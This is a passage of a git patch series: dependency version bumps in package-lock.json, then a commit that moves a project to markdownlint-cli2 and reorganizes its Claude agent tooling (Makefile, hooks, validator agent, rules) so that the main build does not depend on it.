"10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/replay-canvas/-/replay-canvas-10.65.0.tgz", - "integrity": "sha512-A7X3RVk1Gk+knK8Ip/2EjejckNCLgCfRZo6eGlsy6qyz904KBpYmys1a0o7QkzFRjhIndjHAfcVxwt6jSLJlrQ==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/replay-canvas/-/replay-canvas-10.66.0.tgz", + "integrity": "sha512-z7fPWEIfAJMJySKXFIqXAzFpkHjp13WGMAmB9+hlHhi9+gjAO8owD9R4XTd86lBswveGwMHKvIx5lFKNVqDcow==", "license": "MIT", "dependencies": { - "@sentry/core": "10.65.0", - "@sentry/replay": "10.65.0" + "@sentry/core": "10.66.0", + "@sentry/replay": "10.66.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/server-utils": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/server-utils/-/server-utils-10.65.0.tgz", - "integrity": "sha512-80toEFD6s+0Le7jrYB6pHWLF703WSg0WyavAWqrBGWG8JkREHgedAxzFYgoY5GlMI756qk6Ea7UzhJTHd2zAXA==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/server-utils/-/server-utils-10.66.0.tgz", + "integrity": "sha512-h9EM9Wz9Mc6w2Vn7Fyh6ozjy4JC2UbUvWf9Ra1HYA4KMeYqjFA5/o0oB4pg4w/TF+rb+9OF/HNqxjuczxpudpA==", "license": "MIT", "dependencies": { - "@apm-js-collab/code-transformer": "^0.15.0", - "@apm-js-collab/code-transformer-bundler-plugins": "^0.5.0", - "@apm-js-collab/tracing-hooks": "^0.10.1", - "@sentry/conventions": "^0.15.1", - "@sentry/core": "10.65.0", - "magic-string": "~0.30.0" + "@apm-js-collab/code-transformer": "^0.18.0", + "@apm-js-collab/code-transformer-bundler-plugins": "^0.6.1", + "@apm-js-collab/tracing-hooks": "^0.13.0", + "@sentry/conventions": "^0.16.0", + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/types": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/types/-/types-10.65.0.tgz", - "integrity": "sha512-hkfD1BxHKNx6GjIa/atQaqribn1eZjbYE+aTpW5DAWNlJalLQ/pjAQ35RQObEmhH4Z5SMsIDRZCWmIqAy54w6Q==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/types/-/types-10.66.0.tgz", + "integrity": "sha512-NH+3vp15vt7dHX1M32CsAHlf3BWU25/1pJOFW9O2565A269nKylB09V4kDm0XH2ARGgv6wPcNFPhbiTByv7HgA==", "dev": true, "license": "MIT", "dependencies": { - "@sentry/core": "10.65.0" + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/vercel-edge": { - "version": "10.65.0", - "resolved": "https://registry.npmjs.org/@sentry/vercel-edge/-/vercel-edge-10.65.0.tgz", - "integrity": "sha512-Z1sk2yBHrcsk/QMIzgMRTHitUN1zogzn5eQEc7umWmWwpP6zpDLMDxeeH2F1Cy2vzQFKa53PaWz7HXk4n617eg==", + "version": "10.66.0", + "resolved": "https://registry.npmjs.org/@sentry/vercel-edge/-/vercel-edge-10.66.0.tgz", + "integrity": "sha512-uNctdCoSDFgbm7Cg+8tMOBIRT1R5Xt6oU3J0WyJkD1DDmJ/8SDlLNdAbckZwPr96KFFF4MavuP2Uf7zXxratfQ==", "license": "MIT", "dependencies": { "@opentelemetry/api": "^1.9.1", - "@sentry/core": "10.65.0" + "@sentry/core": "10.66.0" }, "engines": { "node": ">=18" @@ -9173,9 +9173,9 @@ } }, "node_modules/caniuse-lite": { - "version": "1.0.30001805", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001805.tgz", - "integrity": "sha512-52noaS3DubycKSXaU30TwPGIp+POyQSUVa5jBEq3vkRkY0kjyb3LQgvhU6WGyCcyXqVLWO0Cw0Q6BSdD0kUfVA==", + "version": "1.0.30001806", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001806.tgz", + "integrity": "sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw==", "funding": [ { "type": "opencollective", @@ -10180,9 +10180,9 @@ } }, "node_modules/electron-to-chromium": { - "version": "1.5.391", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.391.tgz", - "integrity": "sha512-YmCu4856jkgKT1Nh6fwRdeVrM6Ydf/fBnq51tpmSfX+jOcUMTxh31yH6hjKScRenhB2oDSvA9oooxcpjogPeig==", + "version": "1.5.393", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.393.tgz", + "integrity": "sha512-kiDJdIUawuEIcp9XoICKp1iTYDEbgguIPq526N1Q7jIQDeQ3CqoMx71025PI/7E48Ddtw2HuWsVjY7afEgNxmg==", "license": "ISC" }, "node_modules/emittery": { From 8d3ad8693c58a3511457499cfdf614418ac414dc Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 14:21:26 -0400 Subject: [PATCH 3/7] Switch from markdownlint-cli to markdownlint-cli2 --- .claude/.markdownlint-cli2.jsonc | 11 + .claude/Makefile | 25 + .claude/agents/prompt-skill-sync.md | 6 +- .claude/agents/validator.md | 21 +- .claude/hooks/markdown-audit-reminder.mts | 1 - .claude/hooks/prompt-skill-sync.mts | 26 +- .claude/hooks/validate-gate.mts | 33 +- .claude/rules/code-style.md | 8 +- .claude/rules/docs-authoring.md | 9 +- .claude/rules/prompt-skill-sync.md | 22 +- .claude/rules/repo-independence.md | 58 ++ .claude/rules/testing.md | 26 +- .claude/scripts/check-prompt-skill-sync.mjs | 7 +- .claude/skills/audit-docs/SKILL.md | 14 +- .claude/skills/sync-audit-prompts/SKILL.md | 6 +- .../SKILL.md | 20 +- .../assets/copilot-instructions.template.md | 2 +- .../assets/project-rules.template.md | 8 +- .../references/mocking-policy.md | 16 +- .../references/project-detection.md | 8 +- .github/ISSUE_TEMPLATE/bug_report.md | 2 + .github/ISSUE_TEMPLATE/feature_request.md | 2 + .github/ISSUE_TEMPLATE/security_report.md | 2 + .github/copilot-instructions.md | 6 +- .github/prompts/.markdownlint-cli2.jsonc | 11 + .github/prompts/audit-docs.prompt.md | 8 +- .github/prompts/readme.md | 8 +- .github/workflows/code-qa.yaml | 8 +- .github/workflows/codeql-analysis.yaml | 8 +- .github/workflows/markdown-lint.yaml | 22 +- .markdownlint-cli2.jsonc | 25 + .markdownlint.json | 6 - .markdownlintignore | 208 ----- .prettierignore | 7 +- CLAUDE.md | 22 +- package-lock.json | 812 +++++++++++------- package.json | 5 +- 37 files changed, 814 insertions(+), 675 deletions(-) create mode 100644 .claude/.markdownlint-cli2.jsonc create mode 100644 .claude/Makefile create mode 100644 .claude/rules/repo-independence.md create mode 100644 .github/prompts/.markdownlint-cli2.jsonc create mode 100644 .markdownlint-cli2.jsonc delete mode 100644 .markdownlint.json delete mode 100644 .markdownlintignore diff --git a/.claude/.markdownlint-cli2.jsonc b/.claude/.markdownlint-cli2.jsonc new file mode 100644 index 00000000..96b73b70 --- /dev/null +++ b/.claude/.markdownlint-cli2.jsonc @@ -0,0 +1,11 @@ +// Agent-tooling carve-out. Merges with the root `.markdownlint-cli2.jsonc` rather than +// replacing it, so every other rule still applies here. +// +// MD041 wants a top-level heading first. These files open with YAML frontmatter or a +// role statement instead, which is the format their loaders expect, so the rule does +// not apply to them. It stays on everywhere else in the repository. +{ + "config": { + "MD041": false, + }, +} diff --git a/.claude/Makefile b/.claude/Makefile new file mode 100644 index 00000000..4139497a --- /dev/null +++ b/.claude/Makefile @@ -0,0 +1,25 @@ +# Entry points for the AI agent tooling in this directory. +# +# Run from the repository root: +# +# make -f .claude/Makefile sync-prompts +# +# This lives here rather than at the repository root because it contains nothing but +# agent tooling, and the root is the product. Nothing in `npm run validate` or in a +# workflow may invoke any of it. See `rules/repo-independence.md`. + +SYNC := .claude/scripts/check-prompt-skill-sync.mjs + +.PHONY: help sync-prompts sync-prompts-to-skill sync-prompts-to-prompt + +help: ## List the available targets + @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf " %-24s %s\n", $$1, $$2}' + +sync-prompts: ## Check that each audit prompt and its mirrored skill carry the same body + @node $(SYNC) + +sync-prompts-to-skill: ## Copy each prompt body onto its skill, after editing the prompt + @node $(SYNC) --fix=to-skill + +sync-prompts-to-prompt: ## Copy each skill body onto its prompt, after editing the skill + @node $(SYNC) --fix=to-prompt diff --git a/.claude/agents/prompt-skill-sync.md b/.claude/agents/prompt-skill-sync.md index 2b00e972..60ec59bf 100644 --- a/.claude/agents/prompt-skill-sync.md +++ b/.claude/agents/prompt-skill-sync.md @@ -14,9 +14,9 @@ You reconcile the mirrored prompt and skill pairs in this repository and return ## Procedure -1. **Check first.** Run `node .claude/scripts/check-prompt-skill-sync.mjs` and read the exit code. If it exits 0, report that all pairs are in sync and stop. Do not edit anything. +1. **Check first.** Run `make -f .claude/Makefile sync-prompts` and read the exit code. If it exits 0, report that all pairs are in sync and stop. Do not edit anything. 2. **Establish the direction.** For each failing pair, work out which half carries the intended edit. `git diff` and `git status` show which file changed; where both changed, or where git cannot settle it, **ask rather than guess**. Overwriting the edited half silently destroys work, which is the one failure mode this agent exists to avoid. -3. **Propagate mechanically.** Run `--fix=to-skill` or `--fix=to-prompt`. Never hand-copy the body: the check is byte-exact, and a manual copy introduces whitespace differences that are invisible in review. +3. **Propagate mechanically.** Run `make -f .claude/Makefile sync-prompts-to-skill` or `make -f .claude/Makefile sync-prompts-to-prompt`. Never hand-copy the body: the check is byte-exact, and a manual copy introduces whitespace differences that are invisible in review. 4. **Where both halves carry different intended edits**, merge by hand into one half first, then propagate from it. Say in your report that you merged and what you took from each side. 5. **Re-run the check** and confirm exit 0. 6. **Audit the shared body** for the self-containment rules below, since a violation there is not something the byte check can catch. @@ -32,7 +32,7 @@ Both halves get copied into other people's repositories alone. Report any of the ## Also verify -- Both halves still pass `npx markdownlint` and `npx prettier --check` on the prompt half. `.claude/` is excluded from both, so only the prompt copy is gated, and byte-identity means passing there means passing everywhere. +- Both halves still pass `npm run lint:markdown:check` and `npx prettier --check`. Both tools now reach both halves, so a formatting change to one without the other is caught rather than silently desyncing the pair. - The prompt frontmatter uses only `description`, `name`, `argument-hint`, `agent`, `model`, and `tools`. Any other key is silently ignored by Copilot. - The skill frontmatter's `name` matches its directory name. - No em-dash or en-dash appears in either file. diff --git a/.claude/agents/validator.md b/.claude/agents/validator.md index 285266fd..fc0e3263 100644 --- a/.claude/agents/validator.md +++ b/.claude/agents/validator.md @@ -1,6 +1,6 @@ --- name: validator -description: Runs all eight of the repository's quality gates in the `npm run validate` chain and fixes what fails. Use proactively after any logic change and before reporting work complete. +description: Runs all seven of the repository's quality gates in the `npm run validate` chain and fixes what fails. Use proactively after any logic change and before reporting work complete. tools: Bash, Read, Edit, Write, Grep, Glob background: false color: green @@ -10,20 +10,19 @@ You run this repository's quality gates and return a verdict. A full run emits v ## Gates -Run `npm run validate`, which chains all eight gates, and capture the exit code with `echo "EXIT: $?"`. Do not judge it by reading its output. +Run `npm run validate`, which chains all seven gates, and capture the exit code with `echo "EXIT: $?"`. Do not judge it by reading its output. If it fails partway, run the remaining gates individually so every one is exercised before you report: 1. `npm run prettier` -2. `npm run check:prompt-sync` -3. `npm run eslint` -4. `npm run tsc` -5. `npm run test:jest` -6. `npm run test:cypress:e2e` -7. `npm run build` -8. `npm run lint:markdown` +2. `npm run eslint` +3. `npm run tsc` +4. `npm run test:jest` +5. `npm run test:cypress:e2e` +6. `npm run build` +7. `npm run lint:markdown` -The chain is `&&`, so a failure at position 6 means `build` and `lint:markdown` never ran. Never treat those as passed. +The chain is `&&`, so a failure at position 5 means `build` and `lint:markdown` never ran. Never treat those as passed. If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session a headless agent shell may not have. A failing assertion inside a spec is a real failure. Either way, report which gates actually ran (see [`code-qa.yaml`](../../.github/workflows/code-qa.yaml) for what CI covers). @@ -38,7 +37,7 @@ Fix the cause, not the symptom. Specifically: - Never weaken, skip, or delete a test to make a gate pass. Read the test, read the source, find the cause. See [`typescript-code-and-test-standards`](../skills/typescript-code-and-test-standards/SKILL.md) for the rule and [`testing.md`](../rules/testing.md) for this repository's specifics. - Never add a fallback in production code to satisfy a failing test. - Never silence a type error with `any`, `unknown`, `@ts-ignore`, or an `eslint-disable`. Replace it with a concrete type. See [`code-style.md`](../rules/code-style.md). -- `check:prompt-sync` fails when a prompt and its mirrored skill differ. Fix it with `node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill` (or `--fix=to-prompt`), never by hand-copying, and never by guessing the direction: ask if it is unclear which half was edited. +- The prompt-and-skill mirroring check is **not** one of these gates and is not part of `npm run validate`. Run it with `make -f .claude/Makefile sync-prompts` when a change touched either half, and fix a divergence with `make -f .claude/Makefile sync-prompts-to-skill` (or `make -f .claude/Makefile sync-prompts-to-prompt`), never by hand-copying and never by guessing the direction: ask if it is unclear which half was edited. - Re-run the failing gate after each fix, then re-run the gates that precede it if your fix touched files they check. If a failure is pre-existing and unrelated to the change under test, fix it anyway when it is small, and report it plainly when it is not. Do not present it as passing. diff --git a/.claude/hooks/markdown-audit-reminder.mts b/.claude/hooks/markdown-audit-reminder.mts index 09350253..4fa72a45 100644 --- a/.claude/hooks/markdown-audit-reminder.mts +++ b/.claude/hooks/markdown-audit-reminder.mts @@ -8,7 +8,6 @@ // // Type-stripping-safe TypeScript only: type annotations / interfaces, no enums, // namespaces, or parameter properties. - import { readFileSync } from 'fs'; interface ToolInput { diff --git a/.claude/hooks/prompt-skill-sync.mts b/.claude/hooks/prompt-skill-sync.mts index 18733ac8..d320c94e 100644 --- a/.claude/hooks/prompt-skill-sync.mts +++ b/.claude/hooks/prompt-skill-sync.mts @@ -5,11 +5,12 @@ // Run via `node --experimental-strip-types` (no build step, no dependencies). // The path-scoped rule `.claude/rules/prompt-skill-sync.md` is the primary carrier // of this obligation; this hook is the guaranteed, deterministic backstop, and -// `.claude/scripts/check-prompt-skill-sync.mjs` is the gate `npm run validate` runs locally. +// `.claude/scripts/check-prompt-skill-sync.mjs` is the checker, run on demand through +// `make -f .claude/Makefile sync-prompts`. It is deliberately not part of `npm run validate`: the repository +// must build, test, and lint with no agent tooling present. // // Type-stripping-safe TypeScript only: type annotations / interfaces, no enums, // namespaces, or parameter properties. - import { existsSync, readFileSync } from 'fs'; import { join, resolve } from 'path'; @@ -17,6 +18,12 @@ interface ToolInput { file_path?: string; } +/** The other half of a mirrored pair, and which way to propagate onto it. */ +interface Counterpart { + path: string; + direction: string; +} + interface HookPayload { tool_name?: string; tool_input?: ToolInput; @@ -29,7 +36,7 @@ interface HookPayload { * `typescript-code-and-test-standards`, does not get told its counterpart is a prompt * that was never written. This matches the `paths:` glob in the accompanying rule. */ -function counterpartOf(filePath: string): string | null { +function counterpartOf(filePath: string): Counterpart | null { // Resolved from this file's own location, as `check-prompt-skill-sync.mjs` does, so the // existence test does not silently fail when the hook runs from another directory. const repoRoot = resolve(import.meta.dirname, '..', '..'); @@ -39,12 +46,12 @@ function counterpartOf(filePath: string): string | null { const counterpart = `.claude/skills/${promptMatch[1]}/SKILL.md`; // A prompt with no skill yet is not half of a pair, and the checker skips it too. - return existsSync(join(repoRoot, counterpart)) ? counterpart : null; + return existsSync(join(repoRoot, counterpart)) ? { path: counterpart, direction: 'to-skill' } : null; } const skillMatch = /\.claude\/skills\/(audit-[^/]+)\/SKILL\.md$/.exec(filePath); if (skillMatch) { - return `.github/prompts/${skillMatch[1]}.prompt.md`; + return { path: `.github/prompts/${skillMatch[1]}.prompt.md`, direction: 'to-prompt' }; } return null; @@ -69,17 +76,14 @@ function main(): void { process.exit(0); } - const editedPrompt = filePath.includes('/.github/prompts/'); - const direction = editedPrompt ? '--fix=to-skill' : '--fix=to-prompt'; - process.stdout.write( JSON.stringify({ hookSpecificOutput: { hookEventName: 'PostToolUse', additionalContext: - `This file is one half of a mirrored pair. Its counterpart \`${counterpart}\` carries a ` + - 'byte-identical body below the frontmatter, and `npm run validate` fails while the two differ. ' + - `Mirror the edit before finishing: \`node .claude/scripts/check-prompt-skill-sync.mjs ${direction}\`, ` + + `This file is one half of a mirrored pair. Its counterpart \`${counterpart.path}\` carries a ` + + 'byte-identical body below the frontmatter, and `make -f .claude/Makefile sync-prompts` reports while the two differ. ' + + `Mirror the edit before finishing: \`make -f .claude/Makefile sync-prompts-${counterpart.direction}\`, ` + 'or run the `/sync-audit-prompts` skill. Only the frontmatter may differ between them, and the ' + 'shared body must stay self-contained: no relative links and no reference to a sibling prompt, ' + 'because each half is copied into other repositories on its own.', diff --git a/.claude/hooks/validate-gate.mts b/.claude/hooks/validate-gate.mts index d4205e9c..1ea6bdcc 100644 --- a/.claude/hooks/validate-gate.mts +++ b/.claude/hooks/validate-gate.mts @@ -14,7 +14,6 @@ // Run via `node --experimental-strip-types` (no build step, no dependencies). // Type-stripping-safe TypeScript only: type annotations / interfaces, no enums, // namespaces, or parameter properties. - import { mkdirSync, readFileSync, rmSync, writeFileSync } from 'fs'; import { tmpdir } from 'os'; import { isAbsolute, join, relative } from 'path'; @@ -39,14 +38,12 @@ interface GateState { } /** Every gate `npm run validate` runs that can also run on a developer machine. */ -const GATES = ['prettier', 'prompt-sync', 'eslint', 'tsc', 'jest', 'build', 'markdown']; +const GATES = ['prettier', 'eslint', 'tsc', 'jest', 'build', 'markdown']; /** Maps a shell command to the gates it runs. */ const GATE_PATTERNS: [RegExp, string[]][] = [ [/npm run validate\b/, GATES], [/npm run prettier\b/, ['prettier']], - [/npm run check:prompt-sync\b/, ['prompt-sync']], - [/check-prompt-skill-sync\.mjs/, ['prompt-sync']], [/npm run eslint\b/, ['eslint']], [/npm run tsc(?![:\w])/, ['tsc']], [/npm run test:jest\b/, ['jest']], @@ -56,9 +53,8 @@ const GATE_PATTERNS: [RegExp, string[]][] = [ const REMINDER = 'This change requires validation. Before you finish, run the quality gates and confirm ' + - 'each reaches exit code 0: `npm run prettier`, `npm run check:prompt-sync`, ' + - '`npm run eslint`, `npm run tsc`, `npm run test:jest`, `npm run build`, ' + - '`npm run lint:markdown`. Check the actual exit ' + + 'each reaches exit code 0: `npm run prettier`, `npm run eslint`, `npm run tsc`, ' + + '`npm run test:jest`, `npm run build`, `npm run lint:markdown`. Check the actual exit ' + 'code rather than scrolling the output, and fix any failure rather than reporting around ' + 'it. Delegating the run to the `validator` subagent keeps the output out of this context.'; @@ -98,14 +94,14 @@ function clearState(sessionId: string): void { /** * Whether editing this file should require validation. * - * Markdown counts because `lint:markdown` is one of the gates. Most of the agent-tooling - * tree is excluded because ESLint and markdownlint both skip everything under `.claude`, - * so no gate can fail because of it. + * Markdown counts because `lint:markdown` is one of the gates. Most of the agent-tooling tree + * is excluded even so: ESLint skips everything under `.claude`, while Prettier and markdownlint + * do reach most of it, and the exclusion accepts that gap rather than marking the session dirty + * on every edit to a rule or skill file. * - * The mirrored `SKILL.md` files are the exception, and they are why this is not a blanket - * rule: `.prettierignore` re-includes them, and `check:prompt-sync` compares them against - * their prompt halves. Editing one can fail two gates, so it has to mark the session dirty - * the way editing the prompt half already does. + * The mirrored `SKILL.md` files are the exception, because a desync there is worth catching. + * The prompt-and-skill sync check itself is not a gate; it runs on demand via + * `make -f .claude/Makefile sync-prompts`. */ function requiresValidation(filePath: string, cwd: string): boolean { if (!filePath) return false; @@ -122,8 +118,9 @@ function requiresValidation(filePath: string, cwd: string): boolean { if (rel.endsWith('.md')) return true; - // Root-level configuration: `package.json`, `eslint.config.js`, `next.config.js`, and so on. - return !rel.includes('/') && /\.(ts|tsx|js|mjs|cjs|json)$/.test(rel); + // Root-level configuration: `package.json`, `eslint.config.js`, `.markdownlint-cli2.jsonc`, + // and so on. + return !rel.includes('/') && /\.(ts|tsx|mts|cts|js|mjs|cjs|json|jsonc|ya?ml)$/.test(rel); } /** Records gates run by a shell command, or marks the session dirty after an edit. */ @@ -192,8 +189,8 @@ function handleStop(payload: HookPayload, sessionId: string): void { `quality gates have not been run: ${missing.join(', ')}. Run \`npm run validate\` and confirm ` + 'it reaches exit code 0 before finishing. The chain is `&&`, so if it stops partway, the gates ' + 'after the failure did not run: finish them individually (`npm run prettier`, ' + - '`npm run check:prompt-sync`, `npm run eslint`, `npm run tsc`, `npm run test:jest`, ' + - '`npm run build`, `npm run lint:markdown`) rather than ' + + '`npm run eslint`, `npm run tsc`, `npm run test:jest`, `npm run build`, ' + + '`npm run lint:markdown`) rather than ' + 'treating them as passed.', ); process.exit(2); diff --git a/.claude/rules/code-style.md b/.claude/rules/code-style.md index 9992f7ee..b10de6a6 100644 --- a/.claude/rules/code-style.md +++ b/.claude/rules/code-style.md @@ -1,9 +1,9 @@ --- paths: - - "**/*.ts" - - "**/*.tsx" - - "**/*.mts" - - "**/*.cts" + - '**/*.ts' + - '**/*.tsx' + - '**/*.mts' + - '**/*.cts' --- # Code style diff --git a/.claude/rules/docs-authoring.md b/.claude/rules/docs-authoring.md index ff9e3f1e..5eb83354 100644 --- a/.claude/rules/docs-authoring.md +++ b/.claude/rules/docs-authoring.md @@ -1,7 +1,7 @@ --- paths: - - "**/*.md" - - "**/*.mdx" + - '**/*.md' + - '**/*.mdx' --- # Documentation authoring @@ -13,13 +13,14 @@ When creating or editing any markdown file, follow the discipline below. These a - **Zero hallucination.** Document only what the code provably does. Read the implementation; don't infer behaviour from a name, type, comment, file location, or familiar pattern. - **Prove it.** Before writing any technical claim, know the exact file (and ideally lines) that prove it. If you can't, don't write it. Silence beats speculation: no "appears to", "should", "will", or planned/intended behaviour. - Fix existing statements that contradict the code. +- **Current state only.** Describe the code as it is now, in prose and in comments alike. Never narrate the past ("replaces", "used to", "formerly", "for the first time", "unlike the old") and never name a file, flag, or tool that no longer exists: git carries that history, and a reader cannot check a claim against something that is gone. Future intent lives in a `TODO` in the code, never in the documentation. Rationale worth keeping goes in a decision record of its own under [`docs/`](../../docs/index.md), created when the first one is needed, rather than scattered through the files it explains. ## Style -- **No em-dashes or en-dashes.** Never write `—` (em-dash) or `–` (en-dash); replace each with a comma, parenthesis, colon, separate sentence, or a spaced hyphen `-`. The hyphen `-` is fine wherever it is grammatically correct, including the ` - ` separator between a label and a brief description in lists. When you edit a markdown file, replace its existing em-dashes and en-dashes too. +- **No em-dashes or en-dashes.** Never write `—` (em-dash) or `–` (en-dash); replace each with a comma, parenthesis, colon, separate sentence, or a spaced hyphen `-`. The hyphen `-` is fine wherever it is grammatically correct, including the `-` separator between a label and a brief description in lists. When you edit a markdown file, replace its existing em-dashes and en-dashes too. - **Canadian English (strong preference)** for prose you write or change: colour, behaviour, favour, centre, defence, and `-ize`/`-ization` (standardize, organization). See the [Canadian spelling guide](https://our-languages.canada.ca/en/blogue-blog/canadian-spelling-eng). Don't retroactively convert existing prose, and never change code identifiers, config/JSON keys, quoted code, file/package names, or CSS properties (`background_color`, `themeColor`). - **No subjective adjectives** in new prose (important, critical, robust, seamless, powerful, efficient, etc.). State facts. Objective is not robotic, though: replace the adjective with the concrete cited fact that earns it (show, don't tell). -- Use prose for reasoning (the *why* and *how the system uses it*), not line-by-line narration; reserve bullets and numbered lists for genuine enumerations (steps, options, fields). Don't force explanation into parallel bullet fragments, and don't de-list a real list. Lead each paragraph with its point. +- Use prose for reasoning (the _why_ and _how the system uses it_), not line-by-line narration; reserve bullets and numbered lists for genuine enumerations (steps, options, fields). Don't force explanation into parallel bullet fragments, and don't de-list a real list. Lead each paragraph with its point. - **Voice (new or changed prose only).** Read as a careful human wrote it: lead with the point, vary sentence length where natural, and cut AI tells (signposting previews, puffery copulas like "serves as" / "is a testament to", rule-of-three by default, filler transitions, formulaic conclusions). Stay formal and neutral (no contractions). Full list and scope: the **Voice** section of the [canonical prompt](../../.github/prompts/audit-docs.prompt.md). - Document a tunable value by the **name a consumer changes it by** (env var, config key, CLI flag, or a named member of a centralized constants/config module that other code reads), judging by role, not location. Don't document an ephemeral local variable as the config surface. - **Acronyms** in prose you write or edit use capitals (ID, URL) and are expanded on first use per doc ("Deoxyribonucleic acid (DNA)"). Keep exact casing for brand/tool/package names (npm, iOS), domain terms (snRNA), and direct code references (an `id` field). diff --git a/.claude/rules/prompt-skill-sync.md b/.claude/rules/prompt-skill-sync.md index edac6e50..0217d4c3 100644 --- a/.claude/rules/prompt-skill-sync.md +++ b/.claude/rules/prompt-skill-sync.md @@ -1,17 +1,17 @@ --- paths: - - ".github/prompts/*.prompt.md" - - ".claude/skills/audit-*/SKILL.md" + - '.github/prompts/*.prompt.md' + - '.claude/skills/audit-*/SKILL.md' --- # Prompt and skill mirroring Each audit prompt ships twice, and the two copies carry a **byte-identical body below the frontmatter**: -| Prompt, for GitHub Copilot | Skill, for Claude Code and other agents | -| --- | --- | -| [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) | [`audit-docs/SKILL.md`](../skills/audit-docs/SKILL.md) | -| [`audit-pr.prompt.md`](../../.github/prompts/audit-pr.prompt.md) | [`audit-pr/SKILL.md`](../skills/audit-pr/SKILL.md) | +| Prompt, for GitHub Copilot | Skill, for Claude Code and other agents | +| -------------------------------------------------------------------------- | ------------------------------------------------------------ | +| [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) | [`audit-docs/SKILL.md`](../skills/audit-docs/SKILL.md) | +| [`audit-pr.prompt.md`](../../.github/prompts/audit-pr.prompt.md) | [`audit-pr/SKILL.md`](../skills/audit-pr/SKILL.md) | | [`audit-quality.prompt.md`](../../.github/prompts/audit-quality.prompt.md) | [`audit-quality/SKILL.md`](../skills/audit-quality/SKILL.md) | Only the frontmatter differs: the prompt carries Copilot's keys (`description`, `name`, `argument-hint`, `agent`), the skill carries the Agent Skills keys (`name`, `description`, `argument-hint`). @@ -23,12 +23,14 @@ Only the frontmatter differs: the prompt carries Copilot's keys (`description`, Run the propagation in the direction you edited, then confirm: ```bash -node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill # you edited the prompt -node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-prompt # you edited the skill -node .claude/scripts/check-prompt-skill-sync.mjs # confirm, exits 0 when in sync +make -f .claude/Makefile sync-prompts-to-skill # you edited the prompt +make -f .claude/Makefile sync-prompts-to-prompt # you edited the skill +make -f .claude/Makefile sync-prompts # confirm, exits 0 when in sync ``` -The direction is never inferred, because guessing it would overwrite the side you just edited. `npm run validate` runs the check and fails while any pair differs. +The direction is never inferred, because guessing it would overwrite the side you just edited. + +The check is deliberately **not** part of `npm run validate`. The repository must build, test, and lint with no agent tooling present, so nothing in the main gate may invoke anything under `.claude/`. The `Makefile` is the entry point instead, and it degrades to a no-op when the tooling is absent. ## The shared body must stay self-contained diff --git a/.claude/rules/repo-independence.md b/.claude/rules/repo-independence.md new file mode 100644 index 00000000..75fc5528 --- /dev/null +++ b/.claude/rules/repo-independence.md @@ -0,0 +1,58 @@ +--- +paths: + - 'package.json' + - 'package-lock.json' + - '.claude/Makefile' + - '*.config.js' + - '*.config.ts' + - '*.config.mjs' + - 'tsconfig.json' + - 'jsconfig.json' + - '.prettierignore' + - '.markdownlint-cli2.jsonc' + - '**/.markdownlint-cli2.jsonc' + - '.github/workflows/**' + - 'docs/**' +--- + +# The repository never depends on agentic files + +**If `.claude/` and `.github/prompts/` were deleted tomorrow, every command, build, test, and lint must still work.** The portfolio is the product; the agent tooling is scaffolding around it. Scaffolding may lean on the building, never the reverse. + +## The rule + +No `package.json` script, configuration file, workflow, build step, test, or page under [`docs/`](../../docs/index.md) may reference, invoke, import, or require anything under `.claude/` or `.github/prompts/`. + +That includes indirect reliance: a script that shells out to a file there, a config that imports one, a test that reads one, and a documented procedure that tells a reader to run one. + +**The dependency runs one way.** Agent tooling may reference the main codebase freely: `.claude/rules/testing.md` naming `npm run test:jest` is correct. `package.json` naming `.claude/scripts/anything` is not. + +## The one exception + +**An ignore or exclude glob may name an agentic path**, because it is inert when the path is absent: Prettier, ESLint, markdownlint, and `tsc` all treat a glob matching nothing as a no-op rather than an error. These are fine and are the only permitted form: + +- `eslint.config.js` listing `.claude/**/*` under `ignores` +- `tsconfig.json` listing `.claude` under `exclude` +- `.prettierignore` naming the vendored `.claude/skills/skill-creator/` +- `.markdownlint-cli2.jsonc` naming it under `ignores` + +## Where agent tooling gets an entry point + +[`.claude/Makefile`](../Makefile), run from the repository root as `make -f .claude/Makefile `. It sits inside the agent tooling rather than at the repository root, because a root file containing nothing but agent targets is itself the clutter this rule exists to prevent, and because it then disappears along with the tooling it drives. It is never called by `npm run validate` or by any workflow. + +Rule of thumb for a new rule file, hook, or script: it lives under `.claude/`, nothing outside `.claude/` learns its name, and if a human needs to run it, it gets a target in `.claude/Makefile`. + +## How to check + +```bash +grep -rn '\.claude/\|\.github/prompts/' package.json docs/ README.md CONTRIBUTING.md \ + *.config.* tsconfig.json .github/workflows/ +``` + +Every hit must be an ignore glob. Anything else is a violation. Note that `.claude/Makefile` is not a hit, because the search covers only non-agentic files. + +The real proof is the delete simulation: move `.claude/` and `.github/prompts/` aside, run `npm run validate` end to end, and confirm exit 0. Restore afterwards. + +## Why this is written down + +The portfolio is the product; the agent tooling is one contributor's scaffolding around it. A gate, script, or documented procedure that reaches into `.claude/` fails for everyone who clones the repository without that tooling, and it fails as a broken build rather than as a missing convenience. The cost of the rule is one indirection through the Makefile; the cost of breaking it is 